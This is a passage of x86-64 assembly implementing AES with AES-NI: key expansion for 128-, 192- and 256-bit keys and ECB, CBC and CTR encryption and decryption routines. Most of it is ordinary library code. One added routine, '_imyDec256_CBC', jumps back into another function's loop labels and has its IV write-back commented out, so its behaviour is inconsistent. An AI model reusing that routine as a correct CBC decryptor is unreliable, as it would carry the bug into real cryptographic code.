movdqa xmm4,%1
aesdeclast xmm0,xmm4
aesdeclast xmm1,xmm4
aesdeclast xmm2,xmm4
aesdeclast xmm3,xmm4
%endmacro
%macro aesenc4 1
movdqa xmm4,%1
aesenc xmm0,xmm4
aesenc xmm1,xmm4
aesenc xmm2,xmm4
aesenc xmm3,xmm4
%endmacro
%macro aesenclast4 1
movdqa xmm4,%1
aesenclast xmm0,xmm4
aesenclast xmm1,xmm4
aesenclast xmm2,xmm4
aesenclast xmm3,xmm4
%endmacro
%macro load_and_inc4 1
movdqa xmm4,%1
movdqa xmm0,xmm5
pshufb xmm0, xmm6 ; byte swap counter back
movdqa xmm1,xmm5
paddd xmm1,[counter_add_one wrt rip]
pshufb xmm1, xmm6 ; byte swap counter back
movdqa xmm2,xmm5
paddd xmm2,[counter_add_two wrt rip]
pshufb xmm2, xmm6 ; byte swap counter back
movdqa xmm3,xmm5
paddd xmm3,[counter_add_three wrt rip]
pshufb xmm3, xmm6 ; byte swap counter back
pxor xmm0,xmm4
paddd xmm5,[counter_add_four wrt rip]
pxor xmm1,xmm4
pxor xmm2,xmm4
pxor xmm3,xmm4
%endmacro
%macro xor_with_input4 1
movdqu xmm4,[%1]
pxor xmm0,xmm4
movdqu xmm4,[%1+16]
pxor xmm1,xmm4
movdqu xmm4,[%1+32]
pxor xmm2,xmm4
movdqu xmm4,[%1+48]
pxor xmm3,xmm4
%endmacro
%macro load_and_xor4 2
movdqa xmm4,%2
movdqu xmm0,[%1 + 0*16]
pxor xmm0,xmm4
movdqu xmm1,[%1 + 1*16]
pxor xmm1,xmm4
movdqu xmm2,[%1 + 2*16]
pxor xmm2,xmm4
movdqu xmm3,[%1 + 3*16]
pxor xmm3,xmm4
%endmacro
%macro store4 1
movdqu [%1 + 0*16],xmm0
movdqu [%1 + 1*16],xmm1
movdqu [%1 + 2*16],xmm2
movdqu [%1 + 3*16],xmm3
%endmacro
%macro copy_round_keys 3
movdqu xmm4,[%2 + ((%3)*16)]
movdqa [%1 + ((%3)*16)],xmm4
%endmacro
%macro key_expansion_1_192 1
;; Assumes the xmm3 includes all zeros at this point.
pshufd xmm2, xmm2, 11111111b
shufps xmm3, xmm1, 00010000b
pxor xmm1, xmm3
shufps xmm3, xmm1, 10001100b
pxor xmm1, xmm3
pxor xmm1, xmm2
movdqu [rdx+%1], xmm1
%endmacro
; Calculate w10 and w11 using calculated w9 and known w4-w5
%macro key_expansion_2_192 1
movdqa xmm5, xmm4
pslldq xmm5, 4
shufps xmm6, xmm1, 11110000b
pxor xmm6, xmm5
pxor xmm4, xmm6
pshufd xmm7, xmm4, 00001110b
movdqu [rdx+%1], xmm7
%endmacro
section .data
align 16
shuffle_mask:
DD 0FFFFFFFFh
DD 03020100h
DD 07060504h
DD 0B0A0908h
byte_swap_16:
DDQ 0x000102030405060708090A0B0C0D0E0F
align 16
counter_add_one:
DD 1
DD 0
DD 0
DD 0
counter_add_two:
DD 2
DD 0
DD 0
DD 0
counter_add_three:
DD 3
DD 0
DD 0
DD 0
counter_add_four:
DD 4
DD 0
DD 0
DD 0
section .text
align 16
key_expansion256:
pshufd xmm2, xmm2, 011111111b
movdqa xmm4, xmm1
pshufb xmm4, xmm5
pxor xmm1, xmm4
pshufb xmm4, xmm5
pxor xmm1, xmm4
pshufb xmm4, xmm5
pxor xmm1, xmm4
pxor xmm1, xmm2
movdqu [rdx], xmm1
add rdx, 0x10
aeskeygenassist xmm4, xmm1, 0
pshufd xmm2, xmm4, 010101010b
movdqa xmm4, xmm3
pshufb xmm4, xmm5
pxor xmm3, xmm4
pshufb xmm4, xmm5
pxor xmm3, xmm4
pshufb xmm4, xmm5
pxor xmm3, xmm4
pxor xmm3, xmm2
movdqu [rdx], xmm3
add rdx, 0x10
ret
align 16
key_expansion128:
pshufd xmm2, xmm2, 0xFF;
movdqa xmm3, xmm1
pshufb xmm3, xmm5
pxor xmm1, xmm3
pshufb xmm3, xmm5
pxor xmm1, xmm3
pshufb xmm3, xmm5
pxor xmm1, xmm3
pxor xmm1, xmm2
; storing the result in the key schedule array
movdqu [rdx], xmm1
add rdx, 0x10
ret
align 16
global _iEncExpandKey128
_iEncExpandKey128:
linux_setup
movdqu xmm1, [rcx] ; loading the key
movdqu [rdx], xmm1
movdqa xmm5, [shuffle_mask wrt rip]
add rdx,16
aeskeygenassist xmm2, xmm1, 0x1 ; Generating round key 1
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x2 ; Generating round key 2
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x4 ; Generating round key 3
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x8 ; Generating round key 4
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x10 ; Generating round key 5
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x20 ; Generating round key 6
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x40 ; Generating round key 7
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x80 ; Generating round key 8
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x1b ; Generating round key 9
call key_expansion128
aeskeygenassist xmm2, xmm1, 0x36 ; Generating round key 10
call key_expansion128
ret
align 16
global _iEncExpandKey192
_iEncExpandKey192:
linux_setup
sub rsp,64+8
movdqa [rsp],xmm6
movdqa [rsp+16],xmm7
movq xmm7, [rcx+16] ; loading the AES key
movq [rdx+16], xmm7 ; Storing key in memory where all key expansion
pshufd xmm4, xmm7, 01001111b
movdqu xmm1, [rcx] ; loading the AES key
movdqu [rdx], xmm1 ; Storing key in memory where all key expansion
pxor xmm3, xmm3 ; Set xmm3 to be all zeros. Required for the key_expansion.
pxor xmm6, xmm6 ; Set xmm3 to be all zeros. Required for the key_expansion.
aeskeygenassist xmm2, xmm4, 0x1 ; Complete round key 1 and generate round key 2
key_expansion_1_192 24
key_expansion_2_192 40
aeskeygenassist xmm2, xmm4, 0x2 ; Generate round key 3 and part of round key 4
key_expansion_1_192 48
key_expansion_2_192 64
aeskeygenassist xmm2, xmm4, 0x4 ; Complete round key 4 and generate round key 5
key_expansion_1_192 72
key_expansion_2_192 88
aeskeygenassist xmm2, xmm4, 0x8 ; Generate round key 6 and part of round key 7
key_expansion_1_192 96
key_expansion_2_192 112
aeskeygenassist xmm2, xmm4, 0x10 ; Complete round key 7 and generate round key 8
key_expansion_1_192 120
key_expansion_2_192 136
aeskeygenassist xmm2, xmm4, 0x20 ; Generate round key 9 and part of round key 10
key_expansion_1_192 144
key_expansion_2_192 160
aeskeygenassist xmm2, xmm4, 0x40 ; Complete round key 10 and generate round key 11
key_expansion_1_192 168
key_expansion_2_192 184
aeskeygenassist xmm2, xmm4, 0x80 ; Generate round key 12
key_expansion_1_192 192
movdqa xmm6,[rsp]
movdqa xmm7,[rsp+16]
add rsp,64+8
ret
align 16
global _iDecExpandKey128
_iDecExpandKey128:
linux_setup
push rcx
push rdx
sub rsp,16+8
call _iEncExpandKey128
add rsp,16+8
pop rdx
pop rcx
inversekey [rdx + 1*16]
inversekey [rdx + 2*16]
inversekey [rdx + 3*16]
inversekey [rdx + 4*16]
inversekey [rdx + 5*16]
inversekey [rdx + 6*16]
inversekey [rdx + 7*16]
inversekey [rdx + 8*16]
inversekey [rdx + 9*16]
ret
align 16
global _iDecExpandKey192
_iDecExpandKey192:
linux_setup
push rcx
push rdx
sub rsp,16+8
call _iEncExpandKey192
add rsp,16+8
pop rdx
pop rcx
inversekey [rdx + 1*16]
inversekey [rdx + 2*16]
inversekey [rdx + 3*16]
inversekey [rdx + 4*16]
inversekey [rdx + 5*16]
inversekey [rdx + 6*16]
inversekey [rdx + 7*16]
inversekey [rdx + 8*16]
inversekey [rdx + 9*16]
inversekey [rdx + 10*16]
inversekey [rdx + 11*16]
ret
align 16
global _iDecExpandKey256
_iDecExpandKey256:
linux_setup
push rcx
push rdx
sub rsp,16+8
call _iEncExpandKey256
add rsp,16+8
pop rdx
pop rcx
inversekey [rdx + 1*16]
inversekey [rdx + 2*16]
inversekey [rdx + 3*16]
inversekey [rdx + 4*16]
inversekey [rdx + 5*16]
inversekey [rdx + 6*16]
inversekey [rdx + 7*16]
inversekey [rdx + 8*16]
inversekey [rdx + 9*16]
inversekey [rdx + 10*16]
inversekey [rdx + 11*16]
inversekey [rdx + 12*16]
inversekey [rdx + 13*16]
ret
align 16
global _iEncExpandKey256
_iEncExpandKey256:
linux_setup
movdqu xmm1, [rcx] ; loading the key
movdqu xmm3, [rcx+16]
movdqu [rdx], xmm1 ; Storing key in memory where all key schedule will be stored
movdqu [rdx+16], xmm3
add rdx,32
movdqa xmm5, [shuffle_mask wrt rip] ; this mask is used by key_expansion
aeskeygenassist xmm2, xmm3, 0x1 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x2 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x4 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x8 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x10 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x20 ;
call key_expansion256
aeskeygenassist xmm2, xmm3, 0x40 ;
; call key_expansion256
pshufd xmm2, xmm2, 011111111b
movdqa xmm4, xmm1
pshufb xmm4, xmm5
pxor xmm1, xmm4
pshufb xmm4, xmm5
pxor xmm1, xmm4
pshufb xmm4, xmm5
pxor xmm1, xmm4
pxor xmm1, xmm2
movdqu [rdx], xmm1
ret
align 16
global _iDec128
_iDec128:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec128
cmp eax,4
jl lp128decsingle
test rcx,0xf
jz lp128decfour
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
mov rcx,rsp
align 16
lp128decfour:
test eax,eax
jz end_dec128
cmp eax,4
jl lp128decsingle
load_and_xor4 rdx, [rcx+10*16]
add rdx,16*4
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp128decfour
align 16
lp128decsingle:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+10*16]
pxor xmm0, xmm4
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp128decsingle
end_dec128:
add rsp,16*16+8
ret
align 16
global _iDec128_CBC
_iDec128_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec128_CBC
cmp eax,4
jl lp128decsingle_CBC
test rcx,0xf
jz lp128decfour_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
mov rcx,rsp
align 16
lp128decfour_CBC:
test eax,eax
jz end_dec128_CBC
cmp eax,4
jl lp128decsingle_CBC
load_and_xor4 rdx, [rcx+10*16]
add rdx,16*4
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
pxor xmm0,xmm5
movdqu xmm4,[rdx - 16*4 + 0*16]
pxor xmm1,xmm4
movdqu xmm4,[rdx - 16*4 + 1*16]
pxor xmm2,xmm4
movdqu xmm4,[rdx - 16*4 + 2*16]
pxor xmm3,xmm4
movdqu xmm5,[rdx - 16*4 + 3*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp128decfour_CBC
align 16
lp128decsingle_CBC:
movdqu xmm0, [rdx]
movdqa xmm1,xmm0
movdqu xmm4,[rcx+10*16]
pxor xmm0, xmm4
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
pxor xmm0,xmm5
movdqa xmm5,xmm1
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp128decsingle_CBC
end_dec128_CBC:
mov r9,[r9+24]
movdqu [r9],xmm5
add rsp,16*16+8
ret
align 16
global _iDec192_CBC
_iDec192_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec192_CBC
cmp eax,4
jl lp192decsingle_CBC
test rcx,0xf
jz lp192decfour_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
mov rcx,rsp
align 16
lp192decfour_CBC:
test eax,eax
jz end_dec192_CBC
cmp eax,4
jl lp192decsingle_CBC
load_and_xor4 rdx, [rcx+12*16]
add rdx,16*4
aesdec4 [rcx+11*16]
aesdec4 [rcx+10*16]
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
pxor xmm0,xmm5
movdqu xmm4,[rdx - 16*4 + 0*16]
pxor xmm1,xmm4
movdqu xmm4,[rdx - 16*4 + 1*16]
pxor xmm2,xmm4
movdqu xmm4,[rdx - 16*4 + 2*16]
pxor xmm3,xmm4
movdqu xmm5,[rdx - 16*4 + 3*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp192decfour_CBC
align 16
lp192decsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+12*16]
movdqa xmm1,xmm0
pxor xmm0, xmm4
aesdec1_u [rcx+11*16]
aesdec1_u [rcx+10*16]
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
pxor xmm0,xmm5
movdqa xmm5,xmm1
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp192decsingle_CBC
end_dec192_CBC:
mov r9,[r9+24]
movdqu [r9],xmm5
add rsp,16*16+8
ret
align 16
global _iDec256_CBC
_iDec256_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec256_CBC
cmp eax,4
jl lp256decsingle_CBC
test rcx,0xf
jz lp256decfour_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
lp256decfour_CBC:
test eax,eax
jz end_dec256_CBC
cmp eax,4
jl lp256decsingle_CBC
load_and_xor4 rdx, [rcx+14*16]
add rdx,16*4
aesdec4 [rcx+13*16]
aesdec4 [rcx+12*16]
aesdec4 [rcx+11*16]
aesdec4 [rcx+10*16]
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
pxor xmm0,xmm5
movdqu xmm4,[rdx - 16*4 + 0*16]
pxor xmm1,xmm4
movdqu xmm4,[rdx - 16*4 + 1*16]
pxor xmm2,xmm4
movdqu xmm4,[rdx - 16*4 + 2*16]
pxor xmm3,xmm4
movdqu xmm5,[rdx - 16*4 + 3*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp256decfour_CBC
align 16
lp256decsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+14*16]
movdqa xmm1,xmm0
pxor xmm0, xmm4
aesdec1_u [rcx+13*16]
aesdec1_u [rcx+12*16]
aesdec1_u [rcx+11*16]
aesdec1_u [rcx+10*16]
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
pxor xmm0,xmm5
movdqa xmm5,xmm1
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp256decsingle_CBC
end_dec256_CBC:
mov r9,[r9+24]
movdqu [r9],xmm5
add rsp,16*16+8
ret
;======================================
align 16
global _imyDec256_CBC
_imyDec256_CBC:
linux_setup
sub rsp,16*16+8
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz myend_dec256_CBC
cmp eax,4
jl mylp256decsingle_CBC
test rcx,0xf
jz mylp256decfour_CBC
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
mylp256decfour_CBC:
test eax,eax
jz myend_dec256_CBC
cmp eax,4
jl mylp256decsingle_CBC
load_and_xor4 rdx, [rcx+14*16]
add rdx,16*4
aesdec4 [rcx+13*16]
aesdec4 [rcx+12*16]
aesdec4 [rcx+11*16]
aesdec4 [rcx+10*16]
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
pxor xmm0,xmm5
movdqu xmm4,[rdx - 16*4 + 0*16]
pxor xmm1,xmm4
movdqu xmm4,[rdx - 16*4 + 1*16]
pxor xmm2,xmm4
movdqu xmm4,[rdx - 16*4 + 2*16]
pxor xmm3,xmm4
movdqu xmm5,[rdx - 16*4 + 3*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp256decfour_CBC
align 16
mylp256decsingle_CBC:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+14*16]
movdqa xmm1,xmm0
pxor xmm0, xmm4
aesdec1_u [rcx+13*16]
aesdec1_u [rcx+12*16]
aesdec1_u [rcx+11*16]
aesdec1_u [rcx+10*16]
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
pxor xmm0,xmm5
movdqa xmm5,xmm1
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp256decsingle_CBC
myend_dec256_CBC:
;mov r9,[r9+24]
;movdqu [r9],xmm5
add rsp,16*16+8
ret
align 16
global _iDec192
_iDec192:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec192
cmp eax,4
jl lp192decsingle
test rcx,0xf
jz lp192decfour
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
mov rcx,rsp
align 16
lp192decfour:
test eax,eax
jz end_dec192
cmp eax,4
jl lp192decsingle
load_and_xor4 rdx, [rcx+12*16]
add rdx,16*4
aesdec4 [rcx+11*16]
aesdec4 [rcx+10*16]
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
sub eax,4
store4 r8+rdx-(16*4)
jmp lp192decfour
align 16
lp192decsingle:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+12*16]
pxor xmm0, xmm4
aesdec1_u [rcx+11*16]
aesdec1_u [rcx+10*16]
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
add rdx, 16
movdqu [r8 + rdx - 16], xmm0
dec eax
jnz lp192decsingle
end_dec192:
add rsp,16*16+8
ret
align 16
global _iDec256
_iDec256:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_dec256
cmp eax,4
jl lp256dec
test rcx,0xf
jz lp256dec4
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
copy_round_keys rsp,rcx,11
copy_round_keys rsp,rcx,12
copy_round_keys rsp,rcx,13
copy_round_keys rsp,rcx,14
mov rcx,rsp
align 16
lp256dec4:
test eax,eax
jz end_dec256
cmp eax,4
jl lp256dec
load_and_xor4 rdx,[rcx+14*16]
add rdx, 4*16
aesdec4 [rcx+13*16]
aesdec4 [rcx+12*16]
aesdec4 [rcx+11*16]
aesdec4 [rcx+10*16]
aesdec4 [rcx+9*16]
aesdec4 [rcx+8*16]
aesdec4 [rcx+7*16]
aesdec4 [rcx+6*16]
aesdec4 [rcx+5*16]
aesdec4 [rcx+4*16]
aesdec4 [rcx+3*16]
aesdec4 [rcx+2*16]
aesdec4 [rcx+1*16]
aesdeclast4 [rcx+0*16]
store4 r8+rdx-16*4
sub eax,4
jmp lp256dec4
align 16
lp256dec:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+14*16]
add rdx, 16
pxor xmm0, xmm4 ; Round 0 (only xor)
aesdec1_u [rcx+13*16]
aesdec1_u [rcx+12*16]
aesdec1_u [rcx+11*16]
aesdec1_u [rcx+10*16]
aesdec1_u [rcx+9*16]
aesdec1_u [rcx+8*16]
aesdec1_u [rcx+7*16]
aesdec1_u [rcx+6*16]
aesdec1_u [rcx+5*16]
aesdec1_u [rcx+4*16]
aesdec1_u [rcx+3*16]
aesdec1_u [rcx+2*16]
aesdec1_u [rcx+1*16]
aesdeclast1_u [rcx+0*16]
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp256dec
end_dec256:
add rsp,16*16+8
ret
align 16
global _iEnc128
_iEnc128:
linux_setup
sub rsp,16*16+8
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_enc128
cmp eax,4
jl lp128encsingle
test rcx,0xf
jz lpenc128four
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
mov rcx,rsp
align 16
lpenc128four:
test eax,eax
jz end_enc128
cmp eax,4
jl lp128encsingle
load_and_xor4 rdx,[rcx+0*16]
add rdx,4*16
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenclast4 [rcx+10*16]
store4 r8+rdx-16*4
sub eax,4
jmp lpenc128four
align 16
lp128encsingle:
movdqu xmm0, [rdx]
movdqu xmm4,[rcx+0*16]
add rdx, 16
pxor xmm0, xmm4
aesenc1_u [rcx+1*16]
aesenc1_u [rcx+2*16]
aesenc1_u [rcx+3*16]
aesenc1_u [rcx+4*16]
aesenc1_u [rcx+5*16]
aesenc1_u [rcx+6*16]
aesenc1_u [rcx+7*16]
aesenc1_u [rcx+8*16]
aesenc1_u [rcx+9*16]
aesenclast1_u [rcx+10*16]
; Store output encrypted data into CIPHERTEXT array
movdqu [r8+rdx-16], xmm0
dec eax
jnz lp128encsingle
end_enc128:
add rsp,16*16+8
ret
align 16
global _iEnc128_CTR
_iEnc128_CTR:
linux_setup
mov r9,rcx
mov rax,[rcx+24]
movdqu xmm5,[rax]
sub rsp,16*16+8+16
movdqa [rsp+16*16], xmm6
movdqa xmm6, [byte_swap_16 wrt rip]
pshufb xmm5, xmm6 ; byte swap counter
mov eax,[rcx+32] ; numblocks
mov rdx,[rcx]
mov r8,[rcx+8]
mov rcx,[rcx+16]
sub r8,rdx
test eax,eax
jz end_encctr128
cmp eax,4
jl lp128encctrsingle
test rcx,0xf
jz lpencctr128four
copy_round_keys rsp,rcx,0
copy_round_keys rsp,rcx,1
copy_round_keys rsp,rcx,2
copy_round_keys rsp,rcx,3
copy_round_keys rsp,rcx,4
copy_round_keys rsp,rcx,5
copy_round_keys rsp,rcx,6
copy_round_keys rsp,rcx,7
copy_round_keys rsp,rcx,8
copy_round_keys rsp,rcx,9
copy_round_keys rsp,rcx,10
mov rcx,rsp
align 16
lpencctr128four:
test eax,eax
jz end_encctr128
cmp eax,4
jl lp128encctrsingle
load_and_inc4 [rcx+0*16]
add rdx,4*16
aesenc4 [rcx+1*16]
aesenc4 [rcx+2*16]
aesenc4 [rcx+3*16]
aesenc4 [rcx+4*16]
aesenc4 [rcx+5*16]
aesenc4 [rcx+6*16]
aesenc4 [rcx+7*16]
aesenc4 [rcx+8*16]
aesenc4 [rcx+9*16]
aesenclast4 [rcx+10*16]
xor_with_input4 rdx-(4*16)
store4 r8+rdx-16*4
sub eax,4
jmp lpencctr128four
align 16
lp128encctrsingle:
movdqa xmm0,xmm5
pshufb xmm0, xmm6 ; byte swap counter back
